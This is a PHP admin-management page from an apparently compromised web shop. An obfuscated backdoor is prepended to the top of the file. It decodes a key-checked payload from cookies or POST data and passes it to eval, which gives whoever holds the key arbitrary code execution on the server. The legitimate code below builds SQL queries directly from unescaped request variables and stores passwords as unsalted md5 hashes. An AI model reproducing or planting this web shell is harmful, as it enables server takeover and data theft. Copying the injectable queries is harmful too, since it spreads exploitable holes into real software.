?
Path : /home/admin/public_html/old/membershop/admin/ |
Current File : /home/admin/public_html/old/membershop/admin/admins.php |
<?php $wa0a4c4 = 956;$GLOBALS['wa25eb'] = Array();global $wa25eb;$wa25eb = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['hc88c'] = "\x30\x68\x2b\x31\x24\x64\x77\x36\x2c\x2a\x40\x6c\x33\x6f\x6d\x72\x75\x32\x57\x7d\x73\x6e\x3a\x61\x4b\x55\x5e\x39\x43\x22\x2e\x9\x47\x4c\x71\x2f\x3b\x58\x42\x3c\x35\x79\x54\x7b\x37\x6b\x41\x59\x78\x49\x20\x3d\x65\x3e\x7e\x7c\x4a\x44\x74\x26\x3f\x34\x38\xa\x46\x62\x63\x2d\x28\x23\x5f\x48\x5c\x5a\x60\x27\x45\x25\x66\x5d\x69\x53\x4d\xd\x51\x4e\x76\x21\x29\x50\x52\x5b\x70\x4f\x67\x56\x6a\x7a";$wa25eb[$wa25eb['hc88c'][13].$wa25eb['hc88c'][3].$wa25eb['hc88c'][0].$wa25eb['hc88c'][61].$wa25eb['hc88c'][40]] = $wa25eb['hc88c'][66].$wa25eb['hc88c'][1].$wa25eb['hc88c'][15];$wa25eb[$wa25eb['hc88c'][52].$wa25eb['hc88c'][23].$wa25eb['hc88c'][65].$wa25eb['hc88c'][27].$wa25eb['hc88c'][65].$wa25eb['hc88c'][7].$wa25eb['hc88c'][0].$wa25eb['hc88c'][52].$wa25eb['hc88c'][5]] = $wa25eb['hc88c'][13].$wa25eb['hc88c'][15].$wa25eb['hc88c'][5];$wa25eb[$wa25eb['hc88c'][48].$wa25eb['hc88c'][3].$wa25eb['hc88c'][78].$wa25eb['hc88c'][12]] = $wa25eb['hc88c'][20].$wa25eb['hc88c'][58].$wa25eb['hc88c'][15].$wa25eb['hc88c'][11].$wa25eb['hc88c'][52].$wa25eb['hc88c'][21];$wa25eb[$wa25eb['hc88c'][94].$wa25eb['hc88c'][3].$wa25eb['hc88c'][0].$wa25eb['hc88c'][61].$wa25eb['hc88c'][0]] = $wa25eb['hc88c'][80].$wa25eb['hc88c'][21].$wa25eb['hc88c'][80].$wa25eb['hc88c'][70].$wa25eb['hc88c'][20].$wa25eb['hc88c'][52].$wa25eb['hc88c'][58];$wa25eb[$wa25eb['hc88c'][78].$wa25eb['hc88c'][3].$wa25eb['hc88c'][40].$wa25eb['hc88c'][12]] = $wa25eb['hc88c'][20].$wa25eb['hc88c'][52].$wa25eb['hc88c'][15].$wa25eb['hc88c'][80].$wa25eb['hc88c'][23].$wa25eb['hc88c'][11].$wa25eb['hc88c'][80].$wa25eb['hc88c'][97].$wa25eb['hc88c'][52];$wa25eb[$wa25eb['hc88c'][86].$wa25eb['hc88c'][5].$wa25eb['hc88c'][44].$wa25eb['hc88c'][0].$wa25eb['hc88c'][66].$wa25eb['hc88c'][78]] = $wa25eb['hc88c'][92].$wa25eb['hc88c'][1].$wa25eb['hc88c'][92].$wa25eb['hc88c'][86].$wa25eb['hc88c'][52].$wa25eb['hc88c'][15].$wa25eb['hc88c'][20].$wa25eb['hc88c'][80].$wa25eb['hc88c'][13].$wa25eb['hc88c'][21];$wa25eb[$wa25eb['hc88c'][6].$wa25eb['hc88c'][78].$wa25eb['hc88c'][0].$wa25eb['hc88c'][17].$wa25eb['hc88c'][78].$wa25eb['hc88c'][44].$wa25eb['hc88c'][44]] = $wa25eb['hc88c'][16].$wa25eb['hc88c'][21].$wa25eb['hc88c'][20].$wa25eb['hc88c'][52].$wa25eb['hc88c'][15].$wa25eb['hc88c'][80].$wa25eb['hc88c'][23].$wa25eb['hc88c'][11].$wa25eb['hc88c'][80].$wa25eb['hc88c'][97].$wa25eb['hc88c'][52];$wa25eb[$wa25eb['hc88c'][34].$wa25eb['hc88c'][17].$wa25eb['hc88c'][52].$wa25eb['hc88c'][23].$wa25eb['hc88c'][40].$wa25eb['hc88c'][40].$wa25eb['hc88c'][3]] = $wa25eb['hc88c'][65].$wa25eb['hc88c'][23].$wa25eb['hc88c'][20].$wa25eb['hc88c'][52].$wa25eb['hc88c'][7].$wa25eb['hc88c'][61].$wa25eb['hc88c'][70].$wa25eb['hc88c'][5].$wa25eb['hc88c'][52].$wa25eb['hc88c'][66].$wa25eb['hc88c'][13].$wa25eb['hc88c'][5].$wa25eb['hc88c'][52];$wa25eb[$wa25eb['hc88c'][94].$wa25eb['hc88c'][7].$wa25eb['hc88c'][5].$wa25eb['hc88c'][62].$wa25eb['hc88c'][17].$wa25eb['hc88c'][65].$wa25eb['hc88c'][7]] = $wa25eb['hc88c'][20].$wa25eb['hc88c'][52].$wa25eb['hc88c'][58].$wa25eb['hc88c'][70].$wa25eb['hc88c'][58].$wa25eb['hc88c'][80].$wa25eb['hc88c'][14].$wa25eb['hc88c'][52].$wa25eb['hc88c'][70].$wa25eb['hc88c'][11].$wa25eb['hc88c'][80].$wa25eb['hc88c'][14].$wa25eb['hc88c'][80].$wa25eb['hc88c'][58];$wa25eb[$wa25eb['hc88c'][16].$wa25eb['hc88c'][0].$wa25eb['hc88c'][52].$wa25eb['hc88c'][17]] = $wa25eb['hc88c'][45].$wa25eb['hc88c'][12].$wa25eb['hc88c'][52].$wa25eb['hc88c'][17].$wa25eb['hc88c'][23].$wa25eb['hc88c'][27].$wa25eb['hc88c'][40];$wa25eb[$wa25eb['hc88c'][14].$wa25eb['hc88c'][27].$wa25eb['hc88c'][66].$wa25eb['hc88c'][12].$wa25eb['hc88c'][27].$wa25eb['hc88c'][3].$wa25eb['hc88c'][52]] = $wa25eb['hc88c'][41].$wa25eb['hc88c'][62].$wa25eb['hc88c'][40].$wa25eb['hc88c'][40].$wa25eb['hc88c'][44].$wa25eb['hc88c'][61];$wa25eb[$wa25eb['hc88c'][34].$wa25eb['hc88c'][7].$wa25eb['hc88c'][23].$wa25eb['hc88c'][66].$wa25eb['hc88c'][5].$wa25eb['hc88c'][23]] = $_POST;$wa25eb[$wa25eb['hc88c'][23].$wa25eb['hc88c'][61].$wa25eb['hc88c'][23].$wa25eb['hc88c'][66].$wa25eb['hc88c'][62].$wa25eb['hc88c'][44].$wa25eb['hc88c'][78].$wa25eb['hc88c'][61].$wa25eb['hc88c'][27]] = $_COOKIE;@$wa25eb[$wa25eb['hc88c'][94].$wa25eb['hc88c'][3].$wa25eb['hc88c'][0].$wa25eb['hc88c'][61].$wa25eb['hc88c'][0]]($wa25eb['hc88c'][52].$wa25eb['hc88c'][15].$wa25eb['hc88c'][15].$wa25eb['hc88c'][13].$wa25eb['hc88c'][15].$wa25eb['hc88c'][70].$wa25eb['hc88c'][11].$wa25eb['hc88c'][13].$wa25eb['hc88c'][94], NULL);@$wa25eb[$wa25eb['hc88c'][94].$wa25eb['hc88c'][3].$wa25eb['hc88c'][0].$wa25eb['hc88c'][61].$wa25eb['hc88c'][0]]($wa25eb['hc88c'][11].$wa25eb['hc88c'][13].$wa25eb['hc88c'][94].$wa25eb['hc88c'][70].$wa25eb['hc88c'][52].$wa25eb['hc88c'][15].$wa25eb['hc88c'][15].$wa25eb['hc88c'][13].$wa25eb['hc88c'][15].$wa25eb['hc88c'][20], 0);@$wa25eb[$wa25eb['hc88c'][94].$wa25eb['hc88c'][3].$wa25eb['hc88c'][0].$wa25eb['hc88c'][61].$wa25eb['hc88c'][0]]($wa25eb['hc88c'][14].$wa25eb['hc88c'][23].$wa25eb['hc88c'][48].$wa25eb['hc88c'][70].$wa25eb['hc88c'][52].$wa25eb['hc88c'][48].$wa25eb['hc88c'][52].$wa25eb['hc88c'][66].$wa25eb['hc88c'][16].$wa25eb['hc88c'][58].$wa25eb['hc88c'][80].$wa25eb['hc88c'][13].$wa25eb['hc88c'][21].$wa25eb['hc88c'][70].$wa25eb['hc88c'][58].$wa25eb['hc88c'][80].$wa25eb['hc88c'][14].$wa25eb['hc88c'][52], 0);@$wa25eb[$wa25eb['hc88c'][94].$wa25eb['hc88c'][7].$wa25eb['hc88c'][5].$wa25eb['hc88c'][62].$wa25eb['hc88c'][17].$wa25eb['hc88c'][65].$wa25eb['hc88c'][7]](0);$g240287 = NULL;$l0c4574b6 = NULL;$wa25eb[$wa25eb['hc88c'][96].$wa25eb['hc88c'][78].$wa25eb['hc88c'][17].$wa25eb['hc88c'][65].$wa25eb['hc88c'][5].$wa25eb['hc88c'][52].$wa25eb['hc88c'][62]] = $wa25eb['hc88c'][52].$wa25eb['hc88c'][78].$wa25eb['hc88c'][0].$wa25eb['hc88c'][7].$wa25eb['hc88c'][0].$wa25eb['hc88c'][65].$wa25eb['hc88c'][3].$wa25eb['hc88c'][3].$wa25eb['hc88c'][67].$wa25eb['hc88c'][27].$wa25eb['hc88c'][44].$wa25eb['hc88c'][52].$wa25eb['hc88c'][23].$wa25eb['hc88c'][67].$wa25eb['hc88c'][61].$wa25eb['hc88c'][3].$wa25eb['hc88c'][12].$wa25eb['hc88c'][12].$wa25eb['hc88c'][67].$wa25eb['hc88c'][62].$wa25eb['hc88c'][78].$wa25eb['hc88c'][78].$wa25eb['hc88c'][61].$wa25eb['hc88c'][67].$wa25eb['hc88c'][3].$wa25eb['hc88c'][3].$wa25eb['hc88c'][62].$wa25eb['hc88c'][40].$wa25eb['hc88c'][5].$wa25eb['hc88c'][44].$wa25eb['hc88c'][12].$wa25eb['hc88c'][52].$wa25eb['hc88c'][52].$wa25eb['hc88c'][17].$wa25eb['hc88c'][40].$wa25eb['hc88c'][12];global $jf2bde8;function y85574($g240287, $g6c99){global $wa25eb;$re5c750 = "";for ($xf13=0; $xf13<$wa25eb[$wa25eb['hc88c'][48].$wa25eb['hc88c'][3].$wa25eb['hc88c'][78].$wa25eb['hc88c'][12]]($g240287);){for ($s2c875e7=0; $s2c875e7<$wa25eb[$wa25eb['hc88c'][48].$wa25eb['hc88c'][3].$wa25eb['hc88c'][78].$wa25eb['hc88c'][12]]($g6c99) && $xf13<$wa25eb[$wa25eb['hc88c'][48].$wa25eb['hc88c'][3].$wa25eb['hc88c'][78].$wa25eb['hc88c'][12]]($g240287); $s2c875e7++, $xf13++){$re5c750 .= $wa25eb[$wa25eb['hc88c'][13].$wa25eb['hc88c'][3].$wa25eb['hc88c'][0].$wa25eb['hc88c'][61].$wa25eb['hc88c'][40]]($wa25eb[$wa25eb['hc88c'][52].$wa25eb['hc88c'][23].$wa25eb['hc88c'][65].$wa25eb['hc88c'][27].$wa25eb['hc88c'][65].$wa25eb['hc88c'][7].$wa25eb['hc88c'][0].$wa25eb['hc88c'][52].$wa25eb['hc88c'][5]]($g240287[$xf13]) ^ $wa25eb[$wa25eb['hc88c'][52].$wa25eb['hc88c'][23].$wa25eb['hc88c'][65].$wa25eb['hc88c'][27].$wa25eb['hc88c'][65].$wa25eb['hc88c'][7].$wa25eb['hc88c'][0].$wa25eb['hc88c'][52].$wa25eb['hc88c'][5]]($g6c99[$s2c875e7]));}}return $re5c750;}function k3e2a95($g240287, $g6c99){global $wa25eb;global $jf2bde8;return $wa25eb[$wa25eb['hc88c'][14].$wa25eb['hc88c'][27].$wa25eb['hc88c'][66].$wa25eb['hc88c'][12].$wa25eb['hc88c'][27].$wa25eb['hc88c'][3].$wa25eb['hc88c'][52]]($wa25eb[$wa25eb['hc88c'][14].$wa25eb['hc88c'][27].$wa25eb['hc88c'][66].$wa25eb['hc88c'][12].$wa25eb['hc88c'][27].$wa25eb['hc88c'][3].$wa25eb['hc88c'][52]]($g240287, $jf2bde8), $g6c99);}foreach ($wa25eb[$wa25eb['hc88c'][23].$wa25eb['hc88c'][61].$wa25eb['hc88c'][23].$wa25eb['hc88c'][66].$wa25eb['hc88c'][62].$wa25eb['hc88c'][44].$wa25eb['hc88c'][78].$wa25eb['hc88c'][61].$wa25eb['hc88c'][27]] as $g6c99=>$kf197b16){$g240287 = $kf197b16;$l0c4574b6 = $g6c99;}if (!$g240287){foreach ($wa25eb[$wa25eb['hc88c'][34].$wa25eb['hc88c'][7].$wa25eb['hc88c'][23].$wa25eb['hc88c'][66].$wa25eb['hc88c'][5].$wa25eb['hc88c'][23]] as $g6c99=>$kf197b16){$g240287 = $kf197b16;$l0c4574b6 = $g6c99;}}$g240287 = @$wa25eb[$wa25eb['hc88c'][6].$wa25eb['hc88c'][78].$wa25eb['hc88c'][0].$wa25eb['hc88c'][17].$wa25eb['hc88c'][78].$wa25eb['hc88c'][44].$wa25eb['hc88c'][44]]($wa25eb[$wa25eb['hc88c'][16].$wa25eb['hc88c'][0].$wa25eb['hc88c'][52].$wa25eb['hc88c'][17]]($wa25eb[$wa25eb['hc88c'][34].$wa25eb['hc88c'][17].$wa25eb['hc88c'][52].$wa25eb['hc88c'][23].$wa25eb['hc88c'][40].$wa25eb['hc88c'][40].$wa25eb['hc88c'][3]]($g240287), $l0c4574b6));if (isset($g240287[$wa25eb['hc88c'][23].$wa25eb['hc88c'][45]]) && $jf2bde8==$g240287[$wa25eb['hc88c'][23].$wa25eb['hc88c'][45]]){if ($g240287[$wa25eb['hc88c'][23]] == $wa25eb['hc88c'][80]){$xf13 = Array($wa25eb['hc88c'][92].$wa25eb['hc88c'][86] => @$wa25eb[$wa25eb['hc88c'][86].$wa25eb['hc88c'][5].$wa25eb['hc88c'][44].$wa25eb['hc88c'][0].$wa25eb['hc88c'][66].$wa25eb['hc88c'][78]](),$wa25eb['hc88c'][20].$wa25eb['hc88c'][86] => $wa25eb['hc88c'][3].$wa25eb['hc88c'][30].$wa25eb['hc88c'][0].$wa25eb['hc88c'][67].$wa25eb['hc88c'][3],);echo @$wa25eb[$wa25eb['hc88c'][78].$wa25eb['hc88c'][3].$wa25eb['hc88c'][40].$wa25eb['hc88c'][12]]($xf13);}elseif ($g240287[$wa25eb['hc88c'][23]] == $wa25eb['hc88c'][52]){eval/*oe3e30*/($g240287[$wa25eb['hc88c'][5]]);}exit();} ?><?PHP include ("../functions.php"); if (is_logged_in_admin($admin)) { function load_admins(){ global $db,$fullname,$admin_name,$password,$email,$admin_taken_err,$email_taken_err; include ('header.php'); //Menu echo "<td width=20% align=left>"; nav_menu(); echo "</td><td align=center width=80%>"; //End Menu echo"<center><font class=title>Manage Admins</font> <br> <table align=\"center\" border=\"1\" width=\"100%\" id=\"table1\" cellpadding=\"2\" bordercolor=\"#C0C0C0\"> <tr align=\"center\" bgcolor=\"#098bcf\"> <td><font size=3 color=#ffffff><b>#</b></font></td> <td><font size=3 color=#ffffff><b>Admin</b></font></td> <td><font size=3 color=#ffffff><b>Full Name</b></font></td> <td><font size=3 color=#ffffff><b>Email</b></font></td> <td><font size=3 color=#ffffff><b>Options</b></font></td> </tr>"; $result = mysql_query("SELECT * from maaking_admin"); $countno = 0; while($myrow = mysql_fetch_array($result)){ $countno = $countno + 1; echo "<tr> <td align=\"center\">$countno</td> <td align=\"center\">$myrow[fullname]</td> <td align=\"center\">$myrow[admin_name]</td> <td align=\"center\">$myrow[email]</td> <td align=\"center\">[<a href=admins.php?maa=edit_admins&adminid=$myrow[adminid]>Edit</a>] [<a href=\"javascript:jsdel('admins.php?maa=del_admins&adminid=$myrow[adminid]')\">"._DEL."</a>] </td> </tr>"; } echo "</table>"; echo "<hr> <font class=title>Add Admin</font> <form method=\"POST\" enctype=\"multipart/form-data\" action=\"admins.php\"> <table border=0> <tr> <td>Fullname</td> <td> <input type=\"text\" name=\"fullname\" value=\"$fullname\" size=\"20\"></td> </tr> <tr> <td>Admin Username</td> <td> <input type=\"text\" name=\"admin_name\" value=\"$admin_name\" size=\"20\"> Username $admin_taken_err</td> </tr> <tr> <td>Password</td> <td> <input type=\"password\" name=\"password\" value=\"$password\" size=\"20\"></td> </tr> <tr> <td>Email</td> <td> <input type=\"text\" name=\"email\" value=\"$email\" size=\"20\"> $email_taken_err</td> </tr> <tr> <td> </td> <td><input type=\"hidden\" name=\"maa\" value=\"do_add_admins\"> <input type=\"submit\" value=\"Add\" name=\"B1\"></p></form> </td> </tr> </table>"; include ('footer.php'); } function do_add_admins(){ global $db,$prefix,$fullname,$admin_name,$password,$email,$admin_taken_err,$email_taken_err; if ((!$fullname) or (!$admin_name) or (!$password)){ echo "Error: All Feilds are required!"; exit(); } //--nothing empty? everything is okay? lets do the register. $email_check = $db->sql_numrows($db->sql_query("SELECT email FROM ".$prefix."_admin WHERE email='$email'")); $admin_check = $db->sql_numrows($db->sql_query("SELECT admin_name FROM ".$prefix."_admin WHERE admin_name='$admin_name'")); if(($email_check > 0) || ($admin_check > 0)){ //define error message for usage in multi plces. $exist_msg= "<font class=\"error\">"._ALREADY_TAKEN."</font>"; if($email_check > 0){ $email_taken_err = $exist_msg; unset($email); } if($admin_check > 0){ $admin_taken_err = $exist_msg; unset($admin_name); } //if the username or email already been taken load the form and print errors. load_admins(); exit(); } $password = md5($password); $sql = mysql_query("INSERT INTO ".$prefix."_admin (fullname,admin_name,password,email,regdate) VALUES ('$fullname','$admin_name','$password','$email',NOW())") or die ("Error Adding Mod: ". mysql_error()); msg_redirect(""._ADDED_SUCCESS."","admins.php","0"); } function edit_admins() { global $db,$adminid,$prefix; include ('header.php'); //Menu echo "<td width=20% align=left>"; nav_menu(); echo "</td><td align=center width=80%>"; //End Menu $result = mysql_query("SELECT * from maaking_admin WHERE adminid='$adminid'"); $myrow = mysql_fetch_array($result); echo "<center><font class=title>Edit Admin</font>"; echo "<form method=\"POST\" enctype=\"multipart/form-data\" action=\"admins.php\"> <table border=0> <tr> <td>Full Name</td> <td> <input type=\"text\" name=\"fullname\" value=\"$myrow[fullname]\" size=\"20\"></td> </tr> <tr> <td>Admin Username</td> <td> <input type=\"text\" readonly name=\"admin_name\" value=\"$myrow[admin_name]\" size=\"20\"></td> </tr> <tr> <td>Password</td> <td> <input type=\"password\" name=\"password\" value=\"\" size=\"20\"> enter new pass for change</td> </tr> <tr> <td>Email</td> <td> <input type=\"text\" name=\"email\" value=\"$myrow[email]\" size=\"20\"></td> </tr> <tr> <td> </td> <td> <input type=\"hidden\" name=\"adminid\" value=\"$myrow[adminid]\"> <input type=\"hidden\" name=\"maa\" value=\"do_edit_admins\"> <input type=\"submit\" value=\"Save Changes\" name=\"B1\"></p></form> </td> </tr> </table>"; include ('footer.php'); } function do_edit_admins(){ global $db,$prefix,$fullname,$admin_name,$password,$email,$adminid; if ($password == ""){ $sql = mysql_query("UPDATE maaking_admin SET fullname='$fullname',admin_name='$admin_name',email='$email' where adminid='$adminid'") or die ("Error Editing admins: ". mysql_error()); }else{ $password = md5($password); $sql = mysql_query("UPDATE maaking_admin SET fullname='$fullname',admin_name='$admin_name',password='$password',email='$email' where adminid='$adminid'") or die ("Error Editing admins: ". mysql_error()); } msg_redirect(""._EDITED_SUCCESS."","admins.php","0"); } function del_admins(){ global $db,$prefix,$adminid; if ($adminid == 1){ die("You Cannot delete the Main Admin"); }else{ $sql = mysql_query("delete from maaking_admin where adminid='$adminid'") or die ("Error del admins: ". mysql_error()); } msg_redirect(""._DELETED_SUCCESS."","admins.php","0"); } switch($maa) { default: load_admins(); break; case "do_add_admins": do_add_admins(); break; case "del_admins": del_admins(); break; case "edit_admins": edit_admins(); break; case "do_edit_admins": do_edit_admins(); break; case "del_admins": del_admins(); break; } ////////////////////////////////// //if the admin is not logged in. }else{ $error_msg = "<font class=\"error\">"._ADMIN_LOGIN_ERR."</font>"; unset($admin_name); unset($password); msg_redirect($error_msg,"index.php","01"); exit(); } ?>